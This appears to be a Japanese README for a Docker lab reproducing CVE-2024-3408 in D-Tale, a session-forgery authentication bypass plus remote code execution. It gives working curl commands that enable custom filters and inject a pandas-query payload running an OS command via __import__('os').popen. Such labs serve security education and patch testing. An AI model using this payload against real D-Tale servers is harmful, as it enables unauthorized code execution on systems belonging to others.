flame-11/cve-2024-3408-dtaleCVE-2024-3408 用の脆弱性ラボ - D-Tale 認証バイパス & RCE
CVE-2024-3408 の再現可能なラボ環境です。D-Tale における認証バイパスおよびリモートコード実行の脆弱性です。
D-Tale バージョン 3.15.1 以前は、以下の理由により脆弱です：
"Dtale") による Flask セッション署名 - セッションクッキーの偽造が可能test-filter エンドポイントは pandas クエリを使用しており、任意の Python コードを実行するために悪用される可能性がありますCVSS: 9.8 (重大)
影響対象: D-Tale <= 3.15.1
docker compose up -d --build
D-Tale は http://localhost:40000 で利用可能になります。
# Step 1: Enable custom filters
curl -s "http://localhost:40000/dtale/update-settings/1?settings=%7B%22enable_custom_filters%22%3Atrue%7D"
# Expected: {"success":true}
# Step 2: Execute command via pandas query injection
curl -s -G "http://localhost:40000/dtale/test-filter/1" \
--data-urlencode "[email protected].__import__('os').popen('id').read()"
# Expected: Response contains "uid=" and "gid=" (command output in error message)
docker compose down
このラボは、教育目的および許可されたセキュリティテスト専用です。所有していない、またはテストの許可がないシステムに対して使用しないでください。